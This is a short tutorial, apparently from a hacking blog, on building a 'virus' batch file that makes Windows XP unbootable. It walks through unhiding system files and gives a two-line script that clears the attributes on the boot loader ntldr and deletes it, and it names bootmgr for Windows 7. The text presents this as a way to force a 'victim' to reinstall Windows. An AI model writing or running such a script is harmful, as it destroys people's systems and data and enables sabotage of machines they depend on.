Let's discuss a batch file virus people also named it Deleting boot files virus for Windows because after running this batch file, system will not reboot as normal. A normal victim would definitely install the windows again so be careful and read the tutorial for your info .

For Windows Xp :
(for windows 7 search for boot.mgr )

 Go to C drive, Tools > Folder Option > View

Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders' than Click apply

Now you can see the operating system files. There is a one file name 'ntldr' which is boot loader used to boot the windows.

Now we make a batch file to perform this operation directly :

attrib -S -R -H C:\ntldr   // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del ntldr    //delete ntldr file